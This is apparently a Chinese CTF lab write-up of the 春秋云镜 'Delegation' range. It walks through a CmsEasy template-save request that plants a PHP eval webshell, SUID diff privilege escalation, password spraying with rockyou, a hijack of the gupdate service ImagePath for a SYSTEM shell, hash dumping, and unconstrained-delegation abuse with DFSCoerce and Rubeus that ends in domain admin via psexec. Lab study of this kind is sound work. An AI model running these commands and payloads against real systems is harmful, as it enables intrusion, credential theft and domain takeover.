春秋云镜 Delegation writeup
春秋云镜 Delegation writeup
继续复现
flag01
fscan扫ip,没啥东西,就是个网页
是个cmseasy,源代码可以发现CmsEasy 7_7_5_20210919_UTF8
搜索可以发现漏洞,但和大佬们找到的文章好像不是一种打法啊
算了,直接抄payload吧
POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1
Host: 39.101.173.163
Content-Length: 77
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Cookie: PHPSESSID=os9kli93e59pjclq4361kaairm; loginfalse74c6352c5a281ec5947783b8a186e225=1; login_username=admin; login_password=a14cdfc627cef32c707a7988e70c1313
sid=#data_d_.._d_.._d_.._d_2.php&slen=693&scontent=<?=eval($_POST["1"]);?>
然后访问2.php
蚁剑连接
找到flag但没有权限,看suid
find / -user root -perm -4000 -print 2>/dev/null
/usr/bin/stapbpf
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/staprun
/usr/bin/diff
/usr/bin/fusermount
/usr/bin/sudo
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/passwd
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
diff提权可以文件读取
flag02
给了用户名,并且提示rockyou爆破密码
python cme smb -u "Adrian" -p rockyou.txt -d WIN19 172.22.4.45
额,跑的好慢,直接拿结果
之前都可以用smbpasswd改密码的,不知道为什么报错了
使用rdesktop手动改密码
改完后,改用win的rdp登录
桌上有文件(老是忘记截图
可以修改注册表的gupdate
直接修改 ImagePath, 然后手动启动服务以 SYSTEM 权限上线
生成正向shell
msf开启攻击,开启gupdate服务监听
sc start gupdate
注意这个shell是有时间限制的,比如他只有30秒的时间限制,过了这个时间进程也没了
所以要迁移到另一个进程中
ps
找到另一个进程,然后migrate PID
过去
flag03
creds_all抓一下hash
Username Domain NTLM SHA1
-------- ------ ---- ----
Adrian WIN19 baef402f3580fe1c75dfceaef4ae419f 4b064a5f3ccfba5e8b729b2508f14b053b1bb4ca
WIN19$ XIAORANG 5943c35371c96f19bda7b8e67d041727 5a4dc280e89974fdec8cf1b2b76399d26f39b8f8
WIN19$ XIAORANG f7e2f048e09f1602cc0af0096a1cb484 9d602c40d307bfc3ec0329147ba5a951884b92f8
然后查一下域委派关系
python findDelegation.py xiaorang.lab/"WIN19$" -hashes :f7e2f048e09f1602cc0af0096a1cb484 -dc-ip 172.22.4.7
上面出现两个WIN19$,我用了后面那个hash才成功
WIN19$有非约束委派
结合 SpoolSample, PetitPotam 或者其它 XXCoerce 就能够拿到指定机器账户的 TGT
我使用dfscoerce
先上传Rubeus进行监听
Rubeus.exe monitor /interval:1 /filteruser:DC01$
然后dfscoerce.py让DC强制访问
python dfscoerce.py -u "WIN19$" -hashes :f7e2f048e09f1602cc0af0096a1cb484 -d xiaorang.lab WIN19 172.22.4.7
抓到base64 ticket
继续用Rubeus进行pass the hash
Rubeus.exe ptt /ticket:doIFlDCCBZCgAwIBBaEDAgEWooIEnDCCBJhhggS........................
然后就可以传mimikatz导出域管hash (欸,能不能回到meterpreter使用kiwi_cmd啊?
python psexec.py -hashes :4889f6553239ace1f7c47fa2c619c252 xiaorang.lab/administrator@172.22.4.19 -dc-ip 172.22.4.7
flag04
python psexec.py -hashes :4889f6553239ace1f7c47fa2c619c252 xiaorang.lab/administrator@172.22.4.7
送一张bloodhound信息收集,感觉FILESERVER到administrator@xiaorang.lab的HasSession应该是有用的。。
finally
本期学习的是非约束委派
非约束委派攻击利用
用户 A 去访问服务B,服务 B 的服务账户开启了非约束委派,那么当用户 A 访问服务 B 的时候会将用户 A 的 TGT 发送给服务 B 并保存进内存,服务 B 能够利用用户 A 的身份去访问用户 A 能够访问的任意服务。
攻击手法类似于反弹shell,让攻击机进行监听,让受害机进行访问
然后拿到DC的ticket,就可以利用DC的身份去DCSync了